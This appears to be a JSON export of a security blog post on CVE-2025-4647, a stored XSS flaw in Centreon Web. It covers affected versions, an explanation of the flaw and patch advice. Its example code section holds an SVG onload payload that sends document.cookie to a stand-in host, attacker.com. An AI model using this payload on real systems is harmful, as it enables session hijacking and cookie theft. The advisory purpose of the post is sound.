{"id":42229,"date":"2025-05-22T08:06:16","date_gmt":"2025-05-22T08:06:16","guid":{"rendered":""},"modified":"2025-09-26T14:04:49","modified_gmt":"2025-09-26T20:04:49","slug":"cve-2025-4647-elevating-privileges-through-xss-vulnerability-in-centreon-web","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4647-elevating-privileges-through-xss-vulnerability-in-centreon-web\/","title":{"rendered":"<strong>CVE-2025-4647: Elevating Privileges through XSS Vulnerability in Centreon Web<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-4647 is a Cross-site Scripting (XSS) vulnerability in Centreon Web. It&#8217;s a crucial cybersecurity issue that affects multiple versions of Centreon Web, a popular network monitoring tool. This vulnerability can be exploited by users with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21310-windows-cloud-files-mini-filter-driver-elevation-of-privilege-vulnerability\/\"  data-wpil-monitor-id=\"47504\">elevated privileges<\/a> to bypass security measures, potentially leading to system compromise or data leakage. The importance of addressing this vulnerability cannot be overstated, as it poses a significant risk to the integrity of systems and sensitive data, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/pivotal-shift-in-cybersecurity-the-impact-of-ai-as-told-by-palo-alto-networks-ceo\/\"  data-wpil-monitor-id=\"49490\">impacting businesses and organizations reliant on Centreon Web for network<\/a> monitoring.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4647<br \/>\nSeverity: High (8.4 CVSS Score)<br \/>\nAttack Vector: Web-based (XSS)<br \/>\nPrivileges Required: Elevated<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-42977-path-handling-vulnerability-that-risks-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"56973\">System compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-397767229\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4648-integrity-check-vulnerability-in-centreon-web-leading-to-potential-xss-injection\/\"  data-wpil-monitor-id=\"49861\">Centreon web<\/a> | 24.10.0 &#8211; 24.10.4<br \/>\n<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84076\">Centreon web<\/a> | 24.04.0 &#8211; 24.04.10<br \/>\nCentreon web | 23.10.0 &#8211; 23.10.21<br \/>\nCentreon web | 23.04.0 &#8211; 23.04.26<br \/>\nCentreon web | 22.10.0 &#8211; 22.10.28<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The XSS vulnerability in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43559-coldfusion-improper-input-validation-vulnerability-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"49222\">Centreon<\/a> Web is a result of an improper neutralization of input during web page generation. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-7032-security-flaw-allowing-privilege-escalation-through-untrusted-data-deserialization\/\"  data-wpil-monitor-id=\"47515\">allows a user with elevated privileges<\/a> to inject malicious scripts by replacing the content of an existing SVG. When these scripts are executed, they can lead to a variety of exploits, including <a href=\"https:\/\/www.ameeba.com\/blog\/the-stealthy-tactics-of-ransomware-gangs-unmasking-skitnet-malware-in-data-theft-and-remote-access\/\"  data-wpil-monitor-id=\"48527\">data theft<\/a>, session hijacking, or even full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-155853866\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below, a conceptual example of how this vulnerability could be exploited. The attacker injects <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24189-memory-corruption-vulnerability-due-to-maliciously-crafted-web-content-in-various-operating-systems\/\"  data-wpil-monitor-id=\"51760\">malicious JavaScript into the SVG content<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/centreon\/replaceSVG HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/xml\n&lt;svg onload=&quot;var xhr=new XMLHttpRequest();xhr.open(&#039;GET&#039;,&#039;http:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie,false);xhr.send();&quot;&gt;<\/code><\/pre>\n<p>In this example, the malicious script sends the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46827-graylog-open-log-management-platform-user-session-cookie-exposure\/\"  data-wpil-monitor-id=\"47635\">user&#8217;s cookies<\/a> to a server controlled by the attacker, potentially leading to session hijacking.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40566-severe-user-session-vulnerability-in-simatic-pcs-neo-products\/\"  data-wpil-monitor-id=\"48853\">Centreon<\/a> Web are strongly advised to apply the vendor patch to fix the vulnerability. For the affected versions, Centreon has released <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"84078\">patches that neutralize the vulnerability<\/a>. As an interim measure, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5485-a-critical-vulnerability-pertaining-to-user-name-enumeration-in-web-management-interfaces\/\"  data-wpil-monitor-id=\"84077\">users can also use Web<\/a> Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to mitigate the exploitation of this vulnerability. However, these should only be seen as temporary solutions until the patches can be applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-4647 is a Cross-site Scripting (XSS) vulnerability in Centreon Web. It&#8217;s a crucial cybersecurity issue that affects multiple versions of Centreon Web, a popular network monitoring tool. This vulnerability can be exploited by users with elevated privileges to bypass security measures, potentially leading to system compromise or data leakage. The importance of addressing [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-42229","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/42229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=42229"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/42229\/revisions"}],"predecessor-version":[{"id":76862,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/42229\/revisions\/76862"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=42229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=42229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=42229"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=42229"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=42229"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=42229"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=42229"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=42229"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=42229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}